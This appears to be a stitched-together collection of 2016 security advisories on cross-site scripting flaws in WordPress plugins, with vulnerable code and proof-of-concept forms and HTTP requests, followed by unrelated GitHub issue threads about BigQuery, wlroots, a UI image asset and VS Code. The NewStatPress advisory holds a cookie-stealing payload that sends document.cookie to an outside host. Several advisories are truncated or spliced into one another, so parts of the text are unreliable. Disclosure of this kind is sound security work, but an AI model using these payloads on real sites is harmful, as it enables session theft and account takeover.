Cross-Site Scripting in Google Analytics Dashboard WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Google Analytics
Dashboard WordPress Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0026

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Google Analytics Dashboard [2]
WordPress Plugin version 2.1.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The Google Analytics Dashboard [2] WordPress Plugin gives access to your
Google Analytics data directly inside your WordPress blog. A Cross-Site
Scripting vulnerability was found in the Google Analytics Dashboard
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
This issue exists in the file gad-admin-options-ui.php and is caused due
to the lack of output encoding on the ga_email option/request parameter.

		<?php _e( 'Google Analytics Email',
'google-analytics-dashboard' ); ?>

		<input name="ga_email" type="text" size="15" id="ga_email"
class="regular-text" value="<?php echo isset( $_POST['ga_email'] ) ?
$_POST['ga_email'] : get_option( 'gad_login_email' ); ?>" />

In order to exploit this issue, the attacker has to lure/force a logged
on WordPress Administrator into opening a malicious website.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

		<form
action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php"
method="POST">
			<input type="hidden" name="gad_login_type" value="client" />
			<input type="hidden" name="ga_email"
value="">" />
			<input type="hidden" name="ga_pass" value="password" />
			<input type="hidden" name="ga_save_pass"
value="ga_save_pass" />
			<input type="hidden" name="SubmitLogin" value="Login ?»" />
			<input type="submit" value="Submit request" />
		</form>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html
[2] https://wordpress.org/plugins/google-analytics-dashboard/

cross_site_scripting_in_magic_fields_1_wordpress_plugin.txt
------------------------------------------------------------------------
Cross-Site Scripting in Magic Fields 1 WordPress Plugin
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A reflected Cross-Site Scripting vulnerability has been encountered in
the Magic Fields 1 WordPress plugin. This issue allows an attacker to
perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0019

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Magic Fields 1 [2] version 1.7.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is addressed in the 1.7.2 [3] version of Magic Fields 1. You
can obtain the most recent version on the following location:
https://github.com/hunk/Magic-Fields/releases [4]

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
Magic Fields is a WordPress plugin that allows for easy creation of
custom fields in various post types in a WordPress post. A reflected
Cross-Site Scripting vulnerability was found in Magic Fields that allows
an attacker to perform a wide variety of actions, such as stealing
administrators' session tokens, or performing arbitrary actions on their
behalf. To exploit this issue an attacker needs to lure a user with
administrator privileges to a page controlled by the attacker or trick
him into clicking a malicious link.

[h3]Details[/h3]

Cross-Site Scripting (XSS) attacks are a type of injection, in which
malicious scripts are injected into otherwise benign and trusted
websites. XSS attacks occur when an attacker uses a web application to
send malicious code, generally in the form of a browser script, to a
different end user. Flaws that allow these attacks to succeed are quite
widespread and occur when a web application uses input from a user
without validating or encoding it. Reflected XSS occurs when user input
is immediately returned by a web application in an error message, search
result, or any other response that includes some or all of the input
provided by the user as part of the request.

The plugin has several instances where XSS is possible due to lacking
output encoding and user input sanitization:
1. The custom-write-panel-id field does not validate &mf_action=finish-create-custom-field

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_magic_fields_1_wordpress_plugin.html
[2] http://magicfields.org/
[3] https://github.com/hunk/Magic-Fields/releases/tag/1.7.2
[4] https://github.com/hunk/Magic-Fields/releases

cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.txt
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in Gwolle Guestbook WordPress Plugin
------------------------------------------------------------------------
Radjnies Bhansingh, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Gwolle Guestbook
[2] WordPress plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure a WordPress user with editor or
administrator privileges into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0033

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Gwolle Guestbook [2] WordPress
Plugin version 1.7.4.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue was fixed in Gwolle Guestbook version version 2.1.1. The most
recent version of Gwolle Guestbook can be obtained from the following
location:
https://wordpress.org/plugins/gwolle-gb/ [2]

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
Gwolle Guestbook for WordPress is a guestbook made in order to provide
an easy and slim way to integrate a guestbook into your WordPress
powered site. Don't use your 'comment' section the wrong way - install
Gwolle Guestbook and have a real guestbook.

A Cross-Site Scripting vulnerability was found in Gwolle Guestbook. This
issue allows an attacker to perform a wide variety of actions, such as
stealing Administrators' session tokens, or performing arbitrary actions
on their behalf.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
This issue can be exploited by an anonymous attacker that sends a
Cross-Site Scripting payload via one of the input fields of the
guestbook. These fields are visible in the guestbook entries tab.
Whenever an editor or administrator reviews the entry the payload is
executed.

An example of this vulnerability exists in the
/gwolle-gb/admin/page-editor.php file on line 434:
<input type="text" name="gwolle_gb_author_origin" tabindex="3"
class="wp-exclude-emoji" placeholder="<?php _e('City', 'gwolle-gb'); ?>"
value="<?php echo gw    olle_gb_sanitize_output(
$entry->get_author_origin() ); ?>" id="author_origin" />

------------------------------------------------------------------------
Proof of Concept
------------------------------------------------------------------------
A proof of concept attack is listed below:

		<form action="https://<target>/" method="POST">
			<input type="hidden" name="gwolle_gb_function" value="add_entry"/>
			<input type="hidden" name="gwolle_gb_book_id" value="1"/>
			<input type="hidden" name="gwolle_gb_author_name" value="John"/>
			<input type="hidden" name="gwolle_gb_author_origin"
value="amsterdam" onmouseover=alert(1) a=""/>
			<input type="hidden" name="gwolle_gb_author_email"
value="john@d.oe"/>
			<input type="hidden" name="gwolle_gb_author_website" value=""/>
			<input type="hidden" name="gwolle_gb_subject" value=""/>
			<input type="hidden" name="gwolle_gb_content"
value="hi, cool"/>
			<input type="hidden" name="gwolle_gb_wpnonce" value="<valid nonce>"/>
			<input type="hidden" name="gwolle_gb_submit" value="Submit"/>
			<input type="submit"/>
		</form>

A victim editor or administrator then needs to open the following view
page:
http://<target>/wp-admin/admin.php?page=gwolle-gb/editor.php&entry_id=13

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html
[2] https://wordpress.org/plugins/gwolle-gb/

cross_site_scripting_vulnerability_in_tribulant_slideshow_galleries_wordpress_plugin.txt
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in Tribulant Slideshow Galleries
WordPress Plugin
------------------------------------------------------------------------
Spyros Gasteratos, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Tribulant
Slideshow Galleries WordPress Plugin. This issue allows an attacker to
perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. In
order to exploit this issue, the attacker has to lure/force a logged on
WordPress Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160714-0016

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Tribulant Slideshow Galleries [2]
WordPress Plugin version 1.6.3.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
A fix for this issue is not available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The Tribulant Slideshow Galleries [2] WordPress Plugin allows you to
feature WordPress content in a beautiful and fast JavaScript-powered
slideshow gallery. A Cross-Site Scripting vulnerability has been found
in the Tribulant Slideshow Galleries plugin. This issue allows an
attacker to perform a wide variety of actions, such as stealing
Administrators' session tokens, or performing arbitrary actions on their
behalf. In order to exploit this issue, the attacker has to lure/force a
logged on WordPress Administrator into opening a malicious website.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
A reflected cross site scripting vulnerability exists in the plugin
Slideshow Galleries. This issue is due to to the fact that the
view/admin/galleries/index.php file uses the following code to output an
HREF link:
"<a href="<?php echo GalleryHtmlHelper::retainquery('orderby=id&order='
.(($orderby == "id") ? $otherorder : "asc")); ?>">"

The above code fails to perform any output encoding on the retainquery
method, thus allowing the tag to be closed and to inject a script
element:
/wp-admin/admin.php?page=slideshow-galleries&method=save">" />
			<input type="submit" value="Submit request" />
		</form>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_trust_form_wordpress_plugin.html
[2] https://wordpress.org/plugins/trust-form/

cross_site_scripting_vulnerability_in_wp_filebase_download_manager_wordpress_plugin.txt
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in WP-Filebase Download Manager
WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the WP-Filebase
Download Manager WordPress Plugin. This issue allows an attacker to
perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. In
order to exploit this issue, the attacker has to lure/force a logged on
WordPress Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0019

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on WP-Filebase Download Manager [2]
WordPress Plugin version 3.4.4.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The WP-Filebase Download Manager [2] WordPress Plugin adds a powerful
download manager including file categories, downloads counter, widgets,
sorted file lists and more to your WordPress blog. A Cross-Site
Scripting vulnerability was found in the WP-Filebase Download Manager
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
The issue exists in the file AdminGuiFiles.php and is caused by the lack
of output encoding on the page request parameter. The vulnerable code is
listed below.

<form id="posts-filter" action="" method="post">
<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"
/>
<?php $file_table->display() ?>
</form>

Normally, the page URL parameter is validated by WordPress, which
prevents Cross-Site Scripting. However in this case the value of page is
obtained from $_REQUEST, not from $_GET. This allows for parameter
pollution where the attacker puts a benign page value in the URL and
simultaneously submits a malicious page value as POST parameter.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

		<form
action="http://<target>/wp-admin/admin.php?page=wpfilebase_files"
method="POST">
			<input type="hidden" name="page"
value=""" />
			<input type="submit" value="Submit request" />
		</form>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_filebase_download_manager_wordpress_plugin.html
[2] https://wordpress.org/plugins/wp-filebase/

cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.txt
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in WP-SpamFree Anti-Spam WordPress
Plugin
------------------------------------------------------------------------
Radjnies Bhansingh, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A reflected Cross-Site Scripting vulnerability exists in the WP-SpamFree
Anti-Spam WordPress plugin. This vulnerability allows an attacker to
perform any action with the privileges of the target user. The affected
code is not protected with an anti-Cross-Site Request Forgery token.
Consequently, it can be exploited by luring the target user into
clicking a specially crafted link or visiting a malicious website (or
advertisement).

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0026

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the WP-SpamFree Anti-Spam [2]
WordPress Plugin version <IP_ADDRESS>.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
A reflected Cross-Site Scripting vulnerability exists in the WP-SpamFree
Anti-Spam WordPress plugin. This vulnerability allows an attacker to
perform any action with the privileges of the target user. The affected
code is not protected with an anti-Cross-Site Request Forgery token.
Consequently, it can be exploited by luring the target user into
clicking a specially crafted link or visiting a malicious website (or
advertisement).

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
The vulnerability exists in the wp-spamfree.php file on line 6049:

$blacklist_keys_update =
trim(stripslashes($_REQUEST['wordpress_comment_blacklist']));

In order to exploit this issue the target user must click a specially
crafted link or visit a malicious website (or advertisement) and must be
autenticated within WordPress.

In addition the WordPress specific blacklist can be cleared by using the
request below and employing CSRF.
------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
The following proof of concept code demonstrates this issue:

		<form
action="http://<target>/wp-admin/options-general.php?page=wp-spamfree%2Fwp-spamfree.php"
method="POST">
			<input type="hidden" name="submitted_wpsf_general_options"
value="1"/>
			<input type="hidden" name="use_alt_cookie_method" value="on"/>
			<input type="hidden" name="comment_logging_all" value="on"/>
			<input type="hidden" name="enhanced_comment_blacklist" value="on"/>
			<input type="hidden" name="wordpress_comment_blacklist"
value="</textarea>foo
bar
press
"/>
			<input type="hidden" name="allow_proxy_users" value="on"/>
			<input type="hidden" name="promote_plugin_link" value="on"/>
			<input type="hidden" name="submit_wpsf_general_options"
value="Update Options Â%B"/>
			<input type="submit"/>
		</form>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.html
[2] https://wordpress.org/plugins/wp-spamfree/

persistent_cross_site_scripting_in_the_wordpress_newstatpress_plugin.txt
------------------------------------------------------------------------
Persistent Cross-Site Scripting in the WordPress NewStatPress plugin
------------------------------------------------------------------------
Han Sahin, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting (XSS) vulnerability has been found in
the WordPress NewStatPress plugin. By using this vulnerability an
attacker can inject malicious JavaScript code into the application,
which will execute within the browser of any user who views the relevant
application content.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0030

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on WordPress NewStatPress plugin [2]
version 1.2.4.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue has been addressed in NewStatPress version 1.2.5. This
version can be download from the NewStatPress GitHub account:
https://github.com/lechab/newstatpress#125 [3]

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The WordPress NewStatPress plugin [4] is a real-time plugin to manage
the visits' statistics on a WordPress site. It doesn't require external
web analytics. A persistent Cross-Site Scripting vulnerability has been
discovered in the WordPress NewStatPress plugin which allows an
unauthenticated attacker to inject malicious JavaScript code into the
application, which will execute within the browser of any user who views
the relevant application content. The attacker-supplied code can perform
a wide variety of actions, such as stealing victims' session tokens or
login credentials, performing arbitrary actions on their behalf, and
logging their keystrokes or deliver malware.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
The WordPress NewStatPress plugin fails to sufficiently check input
supplied to a GET request for a resource on a WordPress site with a
vulnerable version of the NewStatPress plugin. In addition input
supplied to the Referer header is insufficiently sanitized. As a result
a malicious request will be stored on the Last Visitors and Visitors tab
of the Visits page, executing the payload when an unsuspecting user
views one of the mentioned tabs on this page.

Persistent Cross-Site Scripting vulnerabilities are typically more
serious than reflected vulnerabilities because they do not require a
separate delivery mechanism in order to reach target users, in this case
potentially a WP admin reviewing the stats.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
This vulnerability can be demonstrated by submitting the following
request:
GET /sumofpwn/"> HTTP/1.1
Host: <IP_ADDRESS>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla Chrome/51.0.2704.103 Safari/537.36
Referer:
javascript:document.location=`http://www.XXXXXXyourhackerdomainXXXXXX.nl/demo/xss/cookiestealer.php?c=`+encodeURIComponent(document.cookie);
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,nl;q=0.6
Connection: close

Based on the above request, the vulnerable output will be:
1) "
target="_blank">/sumofpwn/\">
2) Arrived from <a href="javascript:document.location=`http://www.sfylabs.nl/demo/xss/cookiestealer.php?c=`+encodeURIComponent(document.cookie);"
target="_blank">javascript:document.location=`http://www.sfylabs.nl/demo/xss/cookiestealer.php?c=`+encodeURIComponent(document.cookie);

http://yourhost/wp-admin/admin.php?page=nsp_main
http://yourhost/wp-admin/admin.php?page=nsp_visits

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_the_wordpress_newstatpress_plugin.html
[2] https://downloads.wordpress.org/plugin/newstatpress.1.2.4.zip
[3] https://github.com/lechab/newstatpress#125
[4] https://wordpress.org/plugins/newstatpress/

reflected_cross_site_scripting_in_formbuilder_wordpress_plugin.txt
------------------------------------------------------------------------
Reflected Cross-Site Scripting in FormBuilder WordPress Plugin
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A reflected Cross-Site Scripting vulnerability has been found in the
FormBuilder [2] WordPress plugin. This issue allows an attacker to
perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. In
order to exploit this issue, the attacker has to lure/force a logged on
WordPress Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0006

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on FormBuilder [2] version 1.05

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
A fix for this issue is currently not available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The FormBuilder [2] WordPress plugin allows you to build contact forms
in the WordPress administrative interface without needing to know PHP or
HTML.

A reflected Cross-Site Scripting vulnerability has been found in the
FormBuilder WordPress plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
This issue exists due to the fact that neither the fbmsg or the
formSearchQuery field in the tools.php file validates n edit it here
- http://<target>/wp-admin/tools.php?page=formbuilder.php&fbaction=formResults&formSearchQuery=">

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/reflected_cross_site_scripting_in_formbuilder_wordpress_plugin.html
[2] https://wordpress.org/plugins/formbuilder/

stored_cross_site_scripting_vulnerability_in_contact_form_wordpress_plugin.txt
------------------------------------------------------------------------
Stored Cross-Site Scripting vulnerability in Contact Form WordPress
Plugin
------------------------------------------------------------------------
Julien Rentrop, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the Contact
Form WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing users' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a victim into opening a malicious
website/link.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0042

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Contact Form by BestWebSoft [2]
WordPress Plugin version 4.0.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is partially resolved in Contact Form version 4.0.2 [3].

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The Contact Form [2] WordPress Plugin enables sites to receive messages
from customers. A stored Cross-Site Scripting vulnerability was found in
the Contact Form WordPress Plugin. This issue allows an attacker to
perform a wide variety of actions, such as stealing users' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a victim into opening
a malicious website/link.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
When enabled an attachment can be uploaded in the contact form. The
upload accepts html files which will be stored in the
/wp-content/uploads directory. Since we can control the contents of this
html file we can use this as a way to create a Cross-Site Scripting
attack.

The attack here is possible since the validation fails and the unlink
function which cleans up the file is not executed.

Tried to escalate this attack further by getting code execution
(uploading php file), however this is defended by a white list.

Source file:
https://plugins.svn.wordpress.org/contact-form-plugin/trunk/contact_form.php

When apache is configured to show directory listings it's easier to
exploit this attack since we don't need to generate the file name. When
directory listings is not enabled this attack should still be possible,
since the file name is generated with this code:

md5( sanitize_file_name( $_FILES["cntctfrm_contact_attachment"]["name"]
) . time() . $email )

Only time of the server is not exactly known, but could be determined.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
#1 Manual (Or see example request):
Go to page with contact form, select a html file, set some invalid input
(such as email: invalid@@@), send.

#2 Navigate to uploaded file:
http://<target>/wp-content/uploads/

#3 Example of stored file:
http://<target>/wp-content/uploads/2016/07/cntctfrm_a407baae7f961b445422446f75575e89_test.html

Request example:

POST / HTTP/1.1
Host: <target>
Content-Length: 605
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryPcjU2MvmAMp3t8r0
Connection: close

------WebKitFormBoundaryPcjU2MvmAMp3t8r0
Content-Disposition: form-data; name="cntctfrm_contact_attachment";
filename="test.html"
Content-Type: text/html

Hello world html

------WebKitFormBoundaryPcjU2MvmAMp3t8r0
Content-Disposition: form-data; name="cntctfrm_contact_action"

send
------WebKitFormBoundaryPcjU2MvmAMp3t8r0
Content-Disposition: form-data; name="cntctfrm_language"

default
------WebKitFormBoundaryPcjU2MvmAMp3t8r0--

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_contact_form_wordpress_plugin.html
[2] https://wordpress.org/plugins/contact-form-plugin/
[3] https://downloads.wordpress.org/plugin/contact-form-plugin.4.0.2.zip

stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.txt
------------------------------------------------------------------------
Stored Cross-Site Scripting vulnerability in User Login Log WordPress
Plugin
------------------------------------------------------------------------
Axel Koolhaas, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the User Login
Log WordPress Plugin. This issue can be exploited by Subscriber (or
higher) and allows an attacker to perform a wide variety of actions,
such as stealing users' session tokens, or performing arbitrary actions
on their behalf.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0011

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on User Login Log [2] WordPress
Plugin version 2.2.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The User Login Log [2] WordPress Plugin track records of WordPress user
login with set of multiple information like ip, date , time, country ,
city, and user name. A stored Cross-Site Scripting vulnerability was
found in the User Login Log WordPress Plugin. This issue can be
exploited by Subscriber (or higher) and allows an attacker to perform a
wide variety of actions, such as stealing users' session tokens, or
performing arbitrary actions on their behalf.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
This vulnerability exists due to the lack of encoding of the User-Agent
HTTP request header. This issue exists in method column_default() that
is implemented in the file user-login-log.php.

function column_default($item, $column_name)
{

[...]

	switch($column_name){

[...]

	default:
		return $item[$column_name];
	}
}

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
POST /wp-login.php HTTP/1.1
Host: <target>
User-Agent:
XSSXSS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip,deflate,lzma,sdch
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Type: application/x-www-form-urlencoded

log=<user name>&pwd=<password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html
[2] https://wordpress.org/plugins/user-login-log/

Skip to End

we do not have any wordpress plugins.

Thank you! (gosh...)


BigQuery: Potentially more Pythonic options for the API?

I thought I'd discussed this with @tswast, and he'd even generously added a PR; but after ten mins of searching GH I've come up empty on both issues and PRs, so posting here.
@tswast lmk if my memory is correct and we have discussed this!
I appreciate API design is difficult and there are tradeoffs between verbosity vs explicitness, and consistency within a product vs language-specific adjustments. The bar should be high for people offering criticism when they can only see a subset of the revelative information.
But I do frequently use the BQ python API and find it fairly awkward and un-pythonic, as though I were writing Java.
Here's an example, straight from the docs:
from google.cloud import bigquery
client = bigquery.Client()
dataset_id = 'my_dataset'  # replace with your dataset ID
table_id = 'my_table'  # replace with your table ID
table_ref = client.dataset(dataset_id).table(table_id)
table = client.get_table(table_ref)  # API request

I would love to be able to write this, and receive a table object.
client = bigquery.Client()
client.table(dataset='ds', table='tbl')

There are some points a level down (the .table object doesn't return a Table object while a dataset object does return a Dataset object / do we need a TableReference class in place of a string, etc), but they all center around the ergonomics of the API, particularly in respect to Python.
Thank you as ever for a wonderful product, and appreciate any thoughts on whether I'm making mistakes here.

In our previous conversation, I added a from_string() method to the DatasetReference and TableReference classes. https://github.com/GoogleCloudPlatform/google-cloud-python/pull/5255
You're right that the BigQuery client does still feel overly verbose. I find it a problem that from_string() can't account for the default project on the client.
The reason we have the *Reference classes is that the BigQuery API has such resources in the REST responses. I wanted to be super clear when the API only returns a pointer to a table rather than a full table resource.
It's a historical artifact that client.dataset() and dataset.table() return a reference and not an actual Dataset or Table. In retrospect, I probably should have renamed or removed those methods in the 1.0 redesign project.
An idea:

Whereever Client methods accept a *Reference, also allow a string. This gets a little muddy in the library code, but I think so long as it's documented well it'd be okay.

PRs welcome!

cc @shollyman @alixhami

Hi Tim!
Thanks for your thoughtful reply, as ever! I had the sense there might be some influence from the REST design.

Whereever Client methods accept a *Reference, also allow a string. This gets a little muddy in the library code, but I think so long as it's documented well it'd be okay.

That makes a lot of sense. Particularly if this could be project[:.]dataset.table or dataset.table and fall back to the default project, then that could surmount the issue you point out with .from_string. I think that would accomplish most of the goals - it would be easy & intuitive to get tables, and users wouldn't need to learn the ref objects for 80% of cases. A step further would be to attempt to coerce strings / Tableref objects to Tables, though maybe that's a step too far.
I'm trying to focus on xarray & pandas-gbq re OSS work (and a touch of rust!) so while I'd love to tinker here, please don't wait for me on this one. I hope the comments are still productive even from the peanut gallery.

Why not a step further and introducing default_dataset at Client()-level. It could propagate to the similar property e.g. in QueryJobConfig(), or act as default whereever a dataset is required, including in .from_string if only table is passed...

@yiga2 I like the idea of a default dataset in principle, but there are so many places where a dataset might creep in that I fear it'd be hard to catch all uses, especially as the BigQuery API evolves and there may be new APIs that take datasets in their requests.
Instead, we are starting to off a slightly lower-level API where default resources can be provided. See: https://github.com/googleapis/google-cloud-python/pull/6088


append info about the behaviour of wlr_texture_from_pixels

See #2437

I think this generally applies to all functions creating or updating a texture.

Didnt test that but may be true. I'll test it later

btw It seems that this issue didn't exist in prior versions couldn't reproduce it there

Yes, this behaviour has been introduced after properly cleaning up EGL contexts behind wlroots calls.

Is it cleanly fixable? I mean sometimes you have to introduce new surfaces inbetween wlr_render_begin() and end()

No, you shouldn't need to do this.

Superseded by https://github.com/swaywm/wlroots/pull/2486


Core: New Reference Asset - Image

An image asset should be added as a reference asset that will allow users to upload relevant images to complement or enhance text. An image asset should be able to have an optional placeholder tag and an optional caption incase users want to provide text with that image.
Requirements

An image asset should have a metaData,

Which should include a ref to the image .

As well as an optional accessibility , which will be a string for accessibility support.

An image asset should have an optional placeholder text.

The placeholder is a string

An image asset should have an optional caption text, if a caption needs to be displayed along with the image.

This caption should be an asset

At its simplest case, this JSON should render an image
    {
      "id": "image-1",
      "type": "image",
      "metaData": {
        "ref": "https://player-ui.github.io/latest/logo/logo-dark-large.png"
      }
    }

Execution:
Create a new Image asset in the core reference assets .
Add mocks to the mocks package to show the optional fields and show all implementations for rendering.

Can I work on this?


Integrated terminal doesn't start and the terminal controls on the top right of the panel don't work

Does this issue occur when all extensions are disabled?: Yes

Happening in both:
Version: 1.61.0-insider
Commit: c28c86fcd12e4f8693d6569deadfc740dcf8f55b
Date: 2021-09-20T05:14:38.053Z (1 day ago)
Electron: 13.4.0
Chrome: 91.0.4472.164
Node.js: 14.16.0
V8: 9.1.269.39-electron.0
OS: Darwin arm64 20.5.0
Version: 1.60.1 (Universal)
Commit: 83bd43bc519d15e50c4272c6cf5c1479df196a4d
Date: 2021-09-10T17:09:14.403Z (1 wk ago)
Electron: 13.1.8
Chrome: 91.0.4472.164
